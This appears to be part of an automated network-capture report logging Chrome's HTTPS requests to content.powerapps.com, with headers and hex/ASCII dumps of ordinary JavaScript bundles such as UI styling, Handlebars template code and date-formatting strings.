2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 65 3d 4c 65 28 2d 32 30 29 2c 66 65 3d 4f 65 28 31 30 29 2c 67 65 3d 4f 65 28 32 30 29 2c 76 65 3d 4f 65 28 34 30 29 2c 62 65 3d 4f 65 28 34 30 30 29 2c 79 65 3d 4f 65 28 2d 31 30 29 2c 43 65 3d 4f 65 28 2d 32 30 29 2c 5f 65 3d 4f 65 28 2d 34 30 29 2c 53 65 3d 4f 65 28 2d 34 30 30 29 2c 78 65 3d 48 65 28 2d 31 30 29 2c 6b 65 3d 48 65 28 2d 32 30 29 2c 77 65 3d 48 65 28 31 30 29 2c 49 65 3d 48 65 28 32 30 29 2c 44 65 3d 59 28 7b 66 72 6f 6d 3a 7b 74 72 61 6e 73 66 6f 72 6d 3a 22 73 63 61 6c 65 33 64 28 2e 39 38 2c 2e 39 38 2c 31 29 22 7d 2c 74 6f 3a 7b 74 72 61 6e 73 66 6f 72 6d 3a 22 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 22 7d 7d 29 2c 54 65 3d 59 28 7b 66 72 6f 6d 3a 7b 74 72 61 6e 73 66 6f 72 6d 3a 22 73 63 61 6c 65 33 64 28 31 2c 31 2c 31 29 22 7d Data Ascii: e=Le(-20),fe=Oe(10),ge=Oe(20),ve=Oe(40),be=Oe(400),ye=Oe(-10),Ce=Oe(-20),_e=Oe(-40),Se=Oe(-400),xe=He(-10),ke=He(-20),we=He(10),Ie=He(20),De=Y({from:{transform:"scale3d(.98,.98,1)"},to:{transform:"scale3d(1,1,1)"}}),Te=Y({from:{transform:"scale3d(1,1,1)"}
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 6f 76 65 72 65 64 3d 70 29 2c 68 26 26 28 69 2e 69 6e 70 75 74 50 6c 61 63 65 68 6f 6c 64 65 72 42 61 63 6b 67 72 6f 75 6e 64 43 68 65 63 6b 65 64 3d 68 29 2c 6d 26 26 28 69 2e 62 6f 64 79 42 61 63 6b 67 72 6f 75 6e 64 43 68 65 63 6b 65 64 3d 6d 2c 69 2e 62 6f 64 79 46 72 61 6d 65 44 69 76 69 64 65 72 3d 6d 2c 69 2e 62 6f 64 79 44 69 76 69 64 65 72 3d 6d 2c 69 2e 76 61 72 69 61 6e 74 42 6f 72 64 65 72 3d 6d 2c 69 2e 62 75 74 74 6f 6e 42 61 63 6b 67 72 6f 75 6e 64 43 68 65 63 6b 65 64 48 6f 76 65 72 65 64 3d 6d 2c 69 2e 62 75 74 74 6f 6e 42 61 63 6b 67 72 6f 75 6e 64 50 72 65 73 73 65 64 3d 6d 2c 69 2e 6c 69 73 74 49 74 65 6d 42 61 63 6b 67 72 6f 75 6e 64 43 68 65 63 6b 65 64 3d 6d 2c 69 2e 6c 69 73 74 48 65 61 64 65 72 42 61 63 6b 67 72 6f 75 6e 64 50 72 Data Ascii: overed=p),h&&(i.inputPlaceholderBackgroundChecked=h),m&&(i.bodyBackgroundChecked=m,i.bodyFrameDivider=m,i.bodyDivider=m,i.variantBorder=m,i.buttonBackgroundCheckedHovered=m,i.buttonBackgroundPressed=m,i.listItemBackgroundChecked=m,i.listHeaderBackgroundPr
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 74 61 69 6e 65 72 3a 7b 64 69 73 70 6c 61 79 3a 22 69 6e 6c 69 6e 65 2d 66 6c 65 78 22 2c 66 6c 65 78 57 72 61 70 3a 22 6e 6f 77 72 61 70 22 2c 66 6c 65 78 42 61 73 69 73 3a 22 61 75 74 6f 22 2c 68 65 69 67 68 74 3a 4e 6f 2c 77 69 64 74 68 3a 22 61 75 74 6f 22 2c 6d 69 6e 57 69 64 74 68 3a 22 30 22 2c 70 61 64 64 69 6e 67 52 69 67 68 74 3a 22 36 70 78 22 7d 2c 61 63 74 69 76 69 74 79 54 79 70 65 49 63 6f 6e 3a 7b 68 65 69 67 68 74 3a 4d 6f 2c 66 6f 6e 74 53 69 7a 65 3a 42 6f 2c 6c 69 6e 65 48 65 69 67 68 74 3a 42 6f 2c 6d 61 72 67 69 6e 54 6f 70 3a 22 33 70 78 22 7d 2c 69 73 43 6f 6d 70 61 63 74 49 63 6f 6e 3a 7b 68 65 69 67 68 74 3a 4e 6f 2c 6d 69 6e 57 69 64 74 68 3a 4e 6f 2c 66 6f 6e 74 53 69 7a 65 3a 46 6f 2c 6c 69 6e 65 48 65 69 67 68 74 3a 46 6f 2c Data Ascii: tainer:{display:"inline-flex",flexWrap:"nowrap",flexBasis:"auto",height:No,width:"auto",minWidth:"0",paddingRight:"6px"},activityTypeIcon:{height:Mo,fontSize:Bo,lineHeight:Bo,marginTop:"3px"},isCompactIcon:{height:No,minWidth:No,fontSize:Fo,lineHeight:Fo,
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 74 72 61 45 78 74 72 61 53 6d 61 6c 6c 22 2c 65 5b 65 2e 65 78 74 72 61 53 6d 61 6c 6c 3d 32 5d 3d 22 65 78 74 72 61 53 6d 61 6c 6c 22 2c 65 5b 65 2e 73 6d 61 6c 6c 3d 33 5d 3d 22 73 6d 61 6c 6c 22 2c 65 5b 65 2e 72 65 67 75 6c 61 72 3d 34 5d 3d 22 72 65 67 75 6c 61 72 22 2c 65 5b 65 2e 6c 61 72 67 65 3d 35 5d 3d 22 6c 61 72 67 65 22 2c 65 5b 65 2e 65 78 74 72 61 4c 61 72 67 65 3d 36 5d 3d 22 65 78 74 72 61 4c 61 72 67 65 22 2c 65 5b 65 2e 73 69 7a 65 38 3d 31 37 5d 3d 22 73 69 7a 65 38 22 2c 65 5b 65 2e 73 69 7a 65 31 30 3d 39 5d 3d 22 73 69 7a 65 31 30 22 2c 65 5b 65 2e 73 69 7a 65 31 36 3d 38 5d 3d 22 73 69 7a 65 31 36 22 2c 65 5b 65 2e 73 69 7a 65 32 34 3d 31 30 5d 3d 22 73 69 7a 65 32 34 22 2c 65 5b 65 2e 73 69 7a 65 32 38 3d 37 5d 3d 22 73 69 7a 65 Data Ascii: traExtraSmall",e[e.extraSmall=2]="extraSmall",e[e.small=3]="small",e[e.regular=4]="regular",e[e.large=5]="large",e[e.extraLarge=6]="extraLarge",e[e.size8=17]="size8",e[e.size10=9]="size10",e[e.size16=8]="size16",e[e.size24=10]="size24",e[e.size28=7]="size
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 76 69 74 79 50 65 72 73 6f 6e 61 2c 73 69 7a 65 3a 69 3f 59 72 2e 73 69 7a 65 31 36 3a 59 72 2e 73 69 7a 65 33 32 2c 73 74 79 6c 65 3a 73 7d 29 29 29 7d 29 2c 74 3d 75 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 64 69 76 22 2c 7b 63 6c 61 73 73 4e 61 6d 65 3a 6e 2e 70 65 72 73 6f 6e 61 43 6f 6e 74 61 69 6e 65 72 7d 2c 72 29 7d 72 65 74 75 72 6e 20 74 7d 2c 6c 7d 72 65 74 75 72 6e 20 75 28 65 2c 74 29 2c 65 2e 70 72 6f 74 6f 74 79 70 65 2e 72 65 6e 64 65 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 2e 70 72 6f 70 73 2c 74 3d 65 2e 6f 6e 52 65 6e 64 65 72 49 63 6f 6e 2c 6e 3d 76 6f 69 64 20 30 3d 3d 3d 74 3f 74 68 69 73 2e 5f 6f 6e 52 65 6e 64 65 72 49 63 6f 6e 3a 74 2c 6f 3d 65 2e 6f 6e 52 65 6e 64 65 72 41 63 74 69 76 69 74 Data Ascii: vityPersona,size:i?Yr.size16:Yr.size32,style:s})))}),t=ut.createElement("div",{className:n.personaContainer},r)}return t},l}return u(e,t),e.prototype.render=function(){var e=this.props,t=e.onRenderIcon,n=void 0===t?this._onRenderIcon:t,o=e.onRenderActivit
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 7c 22 42 55 54 54 4f 4e 22 3d 3d 3d 65 2e 74 61 67 4e 61 6d 65 7c 7c 22 49 4e 50 55 54 22 3d 3d 3d 65 2e 74 61 67 4e 61 6d 65 7c 7c 22 54 45 58 54 41 52 45 41 22 3d 3d 3d 65 2e 74 61 67 4e 61 6d 65 7c 7c 22 53 45 4c 45 43 54 22 3d 3d 3d 65 2e 74 61 67 4e 61 6d 65 7c 7c 22 74 72 75 65 22 3d 3d 3d 72 7c 7c 69 29 3b 72 65 74 75 72 6e 20 74 3f 2d 31 21 3d 3d 6e 26 26 61 3a 61 7d 66 75 6e 63 74 69 6f 6e 20 4d 61 28 65 29 7b 72 65 74 75 72 6e 21 21 28 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 26 26 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 28 22 64 61 74 61 2d 66 6f 63 75 73 7a 6f 6e 65 2d 69 64 22 29 29 7d 66 75 6e 63 74 69 6f 6e 20 4e 61 28 65 29 7b 72 65 74 75 72 6e 21 28 21 65 7c 7c 21 65 2e 67 65 74 41 74 74 72 69 62 75 74 65 7c 7c 22 74 72 75 65 Data Ascii: \|"BUTTON"===e.tagName\|\|"INPUT"===e.tagName\|\|"TEXTAREA"===e.tagName\|\|"SELECT"===e.tagName\|\|"true"===r\|\|i);return t?-1!==n&&a:a}function Ma(e){return!!(e&&e.getAttribute&&e.getAttribute("data-focuszone-id"))}function Na(e){return!(!e\|\|!e.getAttribute\|\|"true

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.7	49803	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:00 UTC	419	OUT	GET /resource/powerappsportal/dist/postpreform.BootstrapV5.bundle-11a5a91493.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:00 UTC	854	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:00 GMT Content-Type: application/x-javascript Content-Length: 164727 Connection: close Vary: Accept-Encoding Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000HO x-ms-static-content: nr0000056 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: 06b5d495-c9f8-4c72-9a6c-3d505f29950a x-ms-correlation-id: dcee8d90-3754-4a78-aaf7-b14376b2d7fb x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=24.1,x-ms-igw-req-overhead;dur=0.4 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141200Z-1848b945c76tvxskhC1MNZrzpw00000001a000000000d2re X-Cache: TCP_REMOTE_HIT x-fd-int-roxy-purgeid: 0 X-Cache-Info: L2_T2 Accept-Ranges: bytes
2025-01-15 14:12:00 UTC	15530	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 65 2c 61 29 7b 76 61 72 20 72 3d 5b 5d 3b 66 75 6e 63 74 69 6f 6e 20 6e 28 74 2c 72 29 7b 76 61 72 20 6e 3d 61 2e 44 65 66 65 72 72 65 64 28 29 3b 28 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 61 2e 61 6a 61 78 28 74 29 2e 64 6f 6e 65 28 6e 2e 72 65 73 6f 6c 76 65 29 2e 66 61 69 6c 28 66 75 6e 63 74 69 6f 6e 28 29 7b 63 6f 6e 73 6f 6c 65 2e 6c 6f 67 28 22 41 6a 61 78 52 65 74 72 79 20 61 74 74 65 6d 70 74 20 3a 22 2e 63 6f 6e 63 61 74 28 72 29 29 3b 72 2d 2d 3b 69 66 28 72 3e 30 29 7b 65 28 29 7d 65 6c 73 65 7b 6e 2e 72 65 6a 65 63 74 57 69 74 68 28 74 68 69 73 2c 61 72 67 75 6d 65 6e 74 73 29 7d 7d 29 7d 29 28 29 3b 72 65 74 75 72 6e 20 6e 2e 70 72 6f 6d 69 73 65 28 29 7d 66 75 6e 63 74 69 6f 6e 20 74 28 29 7b 76 61 72 20 65 3d Data Ascii: (function(e,a){var r=[];function n(t,r){var n=a.Deferred();(function e(){a.ajax(t).done(n.resolve).fail(function(){console.log("AjaxRetry attempt :".concat(r));r--;if(r>0){e()}else{n.rejectWith(this,arguments)}})})();return n.promise()}function t(){var e=
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 61 70 70 6c 79 28 69 2c 65 29 7d 29 7d 3b 65 2e 65 78 70 6f 72 74 73 3d 74 5b 22 64 65 66 61 75 6c 74 22 5d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 74 2e 5f 5f 65 73 4d 6f 64 75 6c 65 3d 74 72 75 65 3b 74 5b 22 64 65 66 61 75 6c 74 22 5d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 65 2e 72 65 67 69 73 74 65 72 48 65 6c 70 65 72 28 22 6c 6f 6f 6b 75 70 22 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 69 66 28 21 65 29 7b 72 65 74 75 72 6e 20 65 7d 72 65 74 75 72 6e 20 72 2e 6c 6f 6f 6b 75 70 50 72 6f 70 65 72 74 79 28 65 2c 74 29 7d 29 7d 3b 65 2e 65 78 70 6f 72 74 73 3d 74 5b 22 64 65 66 61 75 6c 74 22 5d 7d 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 2c 72 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 76 61 72 20 Data Ascii: apply(i,e)})};e.exports=t["default"]},function(e,t){"use strict";t.__esModule=true;t["default"]=function(e){e.registerHelper("lookup",function(e,t,r){if(!e){return e}return r.lookupProperty(e,t)})};e.exports=t["default"]},function(e,t,r){"use strict";var
2025-01-15 14:12:00 UTC	16384	IN	Data Raw: 61 73 65 20 33 38 3a 74 68 69 73 2e 24 3d 7b 74 79 70 65 3a 22 55 6e 64 65 66 69 6e 65 64 4c 69 74 65 72 61 6c 22 2c 6f 72 69 67 69 6e 61 6c 3a 75 6e 64 65 66 69 6e 65 64 2c 76 61 6c 75 65 3a 75 6e 64 65 66 69 6e 65 64 2c 6c 6f 63 3a 69 2e 6c 6f 63 49 6e 66 6f 28 74 68 69 73 2e 5f 24 29 7d 3b 62 72 65 61 6b 3b 63 61 73 65 20 33 39 3a 74 68 69 73 2e 24 3d 7b 74 79 70 65 3a 22 4e 75 6c 6c 4c 69 74 65 72 61 6c 22 2c 6f 72 69 67 69 6e 61 6c 3a 6e 75 6c 6c 2c 76 61 6c 75 65 3a 6e 75 6c 6c 2c 6c 6f 63 3a 69 2e 6c 6f 63 49 6e 66 6f 28 74 68 69 73 2e 5f 24 29 7d 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 30 3a 74 68 69 73 2e 24 3d 73 5b 75 5d 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 31 3a 74 68 69 73 2e 24 3d 73 5b 75 5d 3b 62 72 65 61 6b 3b 63 61 73 65 20 34 32 3a 74 Data Ascii: ase 38:this.$={type:"UndefinedLiteral",original:undefined,value:undefined,loc:i.locInfo(this._$)};break;case 39:this.$={type:"NullLiteral",original:null,value:null,loc:i.locInfo(this._$)};break;case 40:this.$=s[u];break;case 41:this.$=s[u];break;case 42:t
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 6d 6f 72 65 3a 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 5f 6d 6f 72 65 3d 74 72 75 65 3b 72 65 74 75 72 6e 20 74 68 69 73 7d 2c 6c 65 73 73 3a 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 74 68 69 73 2e 75 6e 70 75 74 28 74 68 69 73 2e 6d 61 74 63 68 2e 73 6c 69 63 65 28 74 29 29 7d 2c 70 61 73 74 49 6e 70 75 74 3a 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6d 61 74 63 68 65 64 2e 73 75 62 73 74 72 28 30 2c 74 68 69 73 2e 6d 61 74 63 68 65 64 2e 6c 65 6e 67 74 68 2d 74 68 69 73 2e 6d 61 74 63 68 2e 6c 65 6e 67 74 68 29 3b 72 65 74 75 72 6e 28 74 2e 6c 65 6e 67 74 68 3e 32 30 3f 22 2e 2e 2e 22 3a 22 22 29 2b 74 2e 73 75 62 73 74 72 28 2d 32 30 29 2e 72 65 70 6c 61 63 65 28 2f 5c Data Ascii: return this},more:function e(){this._more=true;return this},less:function e(t){this.unput(this.match.slice(t))},pastInput:function e(){var t=this.matched.substr(0,this.matched.length-this.match.length);return(t.length>20?"...":"")+t.substr(-20).replace(/\
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 2c 61 2e 6f 72 69 67 69 6e 61 6c 2c 63 5b 22 64 65 66 61 75 6c 74 22 5d 2e 68 65 6c 70 65 72 73 2e 73 69 6d 70 6c 65 49 64 28 61 29 29 7d 7d 2c 50 61 74 68 45 78 70 72 65 73 73 69 6f 6e 3a 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 74 68 69 73 2e 61 64 64 44 65 70 74 68 28 74 2e 64 65 70 74 68 29 3b 74 68 69 73 2e 6f 70 63 6f 64 65 28 22 67 65 74 43 6f 6e 74 65 78 74 22 2c 74 2e 64 65 70 74 68 29 3b 76 61 72 20 72 3d 74 2e 70 61 72 74 73 5b 30 5d 2c 6e 3d 63 5b 22 64 65 66 61 75 6c 74 22 5d 2e 68 65 6c 70 65 72 73 2e 73 63 6f 70 65 64 49 64 28 74 29 2c 69 3d 21 74 2e 64 65 70 74 68 26 26 21 6e 26 26 74 68 69 73 2e 62 6c 6f 63 6b 50 61 72 61 6d 49 6e 64 65 78 28 72 29 3b 69 66 28 69 29 7b 74 68 69 73 2e 6f 70 63 6f 64 65 28 22 6c 6f 6f 6b 75 70 42 6c 6f 63 Data Ascii: ,a.original,c["default"].helpers.simpleId(a))}},PathExpression:function e(t){this.addDepth(t.depth);this.opcode("getContext",t.depth);var r=t.parts[0],n=c["default"].helpers.scopedId(t),i=!t.depth&&!n&&this.blockParamIndex(r);if(i){this.opcode("lookupBloc
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 70 53 74 61 63 6b 28 29 7d 69 66 28 69 29 7b 74 68 69 73 2e 73 74 61 63 6b 53 6c 6f 74 2d 2d 7d 74 68 69 73 2e 70 75 73 68 28 72 2e 63 6f 6e 63 61 74 28 75 2c 22 29 22 29 29 7d 2c 69 6e 63 72 53 74 61 63 6b 3a 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 74 68 69 73 2e 73 74 61 63 6b 53 6c 6f 74 2b 2b 3b 69 66 28 74 68 69 73 2e 73 74 61 63 6b 53 6c 6f 74 3e 74 68 69 73 2e 73 74 61 63 6b 56 61 72 73 2e 6c 65 6e 67 74 68 29 7b 74 68 69 73 2e 73 74 61 63 6b 56 61 72 73 2e 70 75 73 68 28 22 73 74 61 63 6b 22 2b 74 68 69 73 2e 73 74 61 63 6b 53 6c 6f 74 29 7d 72 65 74 75 72 6e 20 74 68 69 73 2e 74 6f 70 53 74 61 63 6b 4e 61 6d 65 28 29 7d 2c 74 6f 70 53 74 61 63 6b 4e 61 6d 65 3a 66 75 6e 63 74 69 6f 6e 20 65 28 29 7b 72 65 74 75 72 6e 22 73 74 61 63 6b 22 2b 74 68 Data Ascii: pStack()}if(i){this.stackSlot--}this.push(r.concat(u,")"))},incrStack:function e(){this.stackSlot++;if(this.stackSlot>this.stackVars.length){this.stackVars.push("stack"+this.stackSlot)}return this.topStackName()},topStackName:function e(){return"stack"+th
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 61 73 65 22 6d 6d 22 3a 72 65 74 75 72 6e 20 69 28 74 2e 67 65 74 4d 69 6e 75 74 65 73 28 29 29 3b 63 61 73 65 22 6d 22 3a 72 65 74 75 72 6e 20 74 2e 67 65 74 4d 69 6e 75 74 65 73 28 29 3b 63 61 73 65 22 73 73 22 3a 72 65 74 75 72 6e 20 69 28 74 2e 67 65 74 53 65 63 6f 6e 64 73 28 29 29 3b 63 61 73 65 22 73 22 3a 72 65 74 75 72 6e 20 74 2e 67 65 74 53 65 63 6f 6e 64 73 28 29 3b 63 61 73 65 22 79 79 79 79 22 3a 72 65 74 75 72 6e 20 69 28 74 2e 67 65 74 46 75 6c 6c 59 65 61 72 28 29 2c 34 29 3b 63 61 73 65 22 79 79 22 3a 72 65 74 75 72 6e 20 69 28 74 2e 67 65 74 46 75 6c 6c 59 65 61 72 28 29 29 3b 63 61 73 65 22 64 64 64 64 22 3a 72 65 74 75 72 6e 20 73 2e 64 61 79 4e 61 6d 65 73 5b 74 2e 67 65 74 44 61 79 28 29 5d 3b 63 61 73 65 22 64 64 64 22 3a 72 65 74 Data Ascii: ase"mm":return i(t.getMinutes());case"m":return t.getMinutes();case"ss":return i(t.getSeconds());case"s":return t.getSeconds();case"yyyy":return i(t.getFullYear(),4);case"yy":return i(t.getFullYear());case"dddd":return s.dayNames[t.getDay()];case"ddd":ret
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 72 6e 20 6f 2e 70 72 6f 63 65 73 73 28 6f 2e 65 61 63 68 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 65 29 2c 74 2e 66 69 6e 69 73 68 45 78 61 63 74 29 7d 29 3b 76 61 72 20 69 3d 7b 7d 3b 76 61 72 20 61 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 69 5b 65 5d 3d 69 5b 65 5d 7c 7c 72 2e 66 6f 72 6d 61 74 28 65 29 5b 30 5d 7d 3b 72 2e 66 6f 72 6d 61 74 73 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 65 20 69 6e 73 74 61 6e 63 65 6f 66 20 41 72 72 61 79 29 7b 76 61 72 20 74 3d 5b 5d 3b 66 6f 72 28 76 61 72 20 72 3d 30 3b 72 3c 65 2e 6c 65 6e 67 74 68 3b 72 2b 2b 29 7b 74 2e 70 75 73 68 28 61 28 65 5b 72 5d 29 29 7d 72 65 74 75 72 6e 20 6f 2e 61 6e 79 2e 61 70 70 6c 79 28 6e 75 6c 6c 2c 74 29 7d 65 6c 73 65 7b 72 65 74 75 72 6e 20 61 28 65 29 7d 7d Data Ascii: rn o.process(o.each.apply(null,e),t.finishExact)});var i={};var a=function(e){return i[e]=i[e]\|\|r.format(e)[0]};r.formats=function(e){if(e instanceof Array){var t=[];for(var r=0;r<e.length;r++){t.push(a(e[r]))}return o.any.apply(null,t)}else{return a(e)}}
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 75 29 7b 66 75 6e 63 74 69 6f 6e 20 6c 28 29 7b 66 6f 72 28 76 61 72 20 65 3d 77 69 6e 64 6f 77 2e 50 52 5f 53 48 4f 55 4c 44 5f 55 53 45 5f 43 4f 4e 54 49 4e 55 41 54 49 4f 4e 3f 68 2e 6e 6f 77 28 29 2b 32 35 30 3a 49 6e 66 69 6e 69 74 79 3b 66 3c 63 2e 6c 65 6e 67 74 68 26 26 68 2e 6e 6f 77 28 29 3c 65 3b 66 2b 2b 29 7b 76 61 72 20 74 3d 63 5b 66 5d 2c 72 3d 74 2e 63 6c 61 73 73 4e 61 6d 65 3b 69 66 28 72 2e 69 6e 64 65 78 4f 66 28 22 70 72 65 74 74 79 70 72 69 6e 74 22 29 3e 3d 30 29 7b 76 61 72 20 72 3d 72 2e 6d 61 74 63 68 28 64 29 2c 6e 2c 69 3b 69 66 28 69 3d 21 72 29 7b 69 3d 74 3b 66 6f 72 28 76 61 72 20 61 3d 76 6f 69 64 20 30 2c 73 3d 69 2e 66 69 72 73 74 43 68 69 6c 64 3b 73 3b 73 3d 73 2e 6e 65 78 74 53 69 62 6c Data Ascii: =function(u){function l(){for(var e=window.PR_SHOULD_USE_CONTINUATION?h.now()+250:Infinity;f<c.length&&h.now()<e;f++){var t=c[f],r=t.className;if(r.indexOf("prettyprint")>=0){var r=r.match(d),n,i;if(i=!r){i=t;for(var a=void 0,s=i.firstChild;s;s=s.nextSibl
2025-01-15 14:12:01 UTC	16384	IN	Data Raw: 72 20 73 3b 69 66 28 72 29 73 3d 5f 28 22 62 6f 64 79 22 29 2e 63 68 69 6c 64 72 65 6e 28 29 2e 66 69 6c 74 65 72 28 22 2e 62 6c 6f 63 6b 55 49 22 29 2e 61 64 64 28 22 62 6f 64 79 20 3e 20 2e 62 6c 6f 63 6b 55 49 22 29 3b 65 6c 73 65 20 73 3d 6e 2e 66 69 6e 64 28 22 3e 2e 62 6c 6f 63 6b 55 49 22 29 3b 69 66 28 74 2e 63 75 72 73 6f 72 52 65 73 65 74 29 7b 69 66 28 73 2e 6c 65 6e 67 74 68 3e 31 29 73 5b 31 5d 2e 73 74 79 6c 65 2e 63 75 72 73 6f 72 3d 74 2e 63 75 72 73 6f 72 52 65 73 65 74 3b 69 66 28 73 2e 6c 65 6e 67 74 68 3e 32 29 73 5b 32 5d 2e 73 74 79 6c 65 2e 63 75 72 73 6f 72 3d 74 2e 63 75 72 73 6f 72 52 65 73 65 74 7d 69 66 28 72 29 54 3d 43 3d 6e 75 6c 6c 3b 69 66 28 74 2e 66 61 64 65 4f 75 74 29 7b 73 2e 66 61 64 65 4f 75 74 28 74 2e 66 61 64 65 Data Ascii: r s;if(r)s=_("body").children().filter(".blockUI").add("body > .blockUI");else s=n.find(">.blockUI");if(t.cursorReset){if(s.length>1)s[1].style.cursor=t.cursorReset;if(s.length>2)s[2].style.cursor=t.cursorReset}if(r)T=C=null;if(t.fadeOut){s.fadeOut(t.fade

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.7	49807	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-15 14:12:00 UTC	422	OUT	GET /resource/powerappsportal/dist/default-1033.moment_2_29_4.bundle-eda4e638fd.js HTTP/1.1 Host: content.powerapps.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-15 14:12:01 UTC	801	IN	HTTP/1.1 200 OK Date: Wed, 15 Jan 2025 14:12:01 GMT Content-Type: application/x-javascript Content-Length: 361 Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=31536000 Strict-Transport-Security: max-age=31536000; includeSubDomains x-ms-islandgateway: GA00000C8 x-ms-static-content: NR0000027 Timing-Allow-Origin: * X-ServiceFabric: NoRetry x-ms-service-request-id: ff068fa3-5422-4bba-9b93-12b72695b61c x-ms-correlation-id: d1c501a2-ddd4-4d5b-9636-4a83387beff6 x-ms-activity-vector: 00.01.00 Server-Timing: x-ms-igw-upstream-headers;dur=33.7,x-ms-igw-req-overhead;dur=0.3 X-Content-Type-Options: nosniff x-azure-ref: 20250115T141201Z-17f859c6f6bwlwgzhC1MNZacd400000001c0000000001uby X-Cache: TCP_MISS x-fd-int-roxy-purgeid: 0 Accept-Ranges: bytes
2025-01-15 14:12:01 UTC	361	IN	Data Raw: 6a 51 75 65 72 79 2e 74 69 6d 65 61 67 6f 2e 73 65 74 74 69 6e 67 73 2e 73 74 72 69 6e 67 73 3d 7b 70 72 65 66 69 78 41 67 6f 3a 6e 75 6c 6c 2c 70 72 65 66 69 78 46 72 6f 6d 4e 6f 77 3a 6e 75 6c 6c 2c 73 75 66 66 69 78 41 67 6f 3a 22 61 67 6f 22 2c 73 75 66 66 69 78 46 72 6f 6d 4e 6f 77 3a 22 66 72 6f 6d 20 6e 6f 77 22 2c 73 65 63 6f 6e 64 73 3a 22 6c 65 73 73 20 74 68 61 6e 20 61 20 6d 69 6e 75 74 65 22 2c 6d 69 6e 75 74 65 3a 22 61 62 6f 75 74 20 61 20 6d 69 6e 75 74 65 22 2c 6d 69 6e 75 74 65 73 3a 22 25 64 20 6d 69 6e 75 74 65 73 22 2c 68 6f 75 72 3a 22 61 62 6f 75 74 20 61 6e 20 68 6f 75 72 22 2c 68 6f 75 72 73 3a 22 61 62 6f 75 74 20 25 64 20 68 6f 75 72 73 22 2c 64 61 79 3a 22 61 20 64 61 79 22 2c 64 61 79 73 3a 22 25 64 20 64 61 79 73 22 2c 6d 6f Data Ascii: jQuery.timeago.settings.strings={prefixAgo:null,prefixFromNow:null,suffixAgo:"ago",suffixFromNow:"from now",seconds:"less than a minute",minute:"about a minute",minutes:"%d minutes",hour:"about an hour",hours:"about %d hours",day:"a day",days:"%d days",mo

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.7	49816	13.107.253.45	443	3924	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
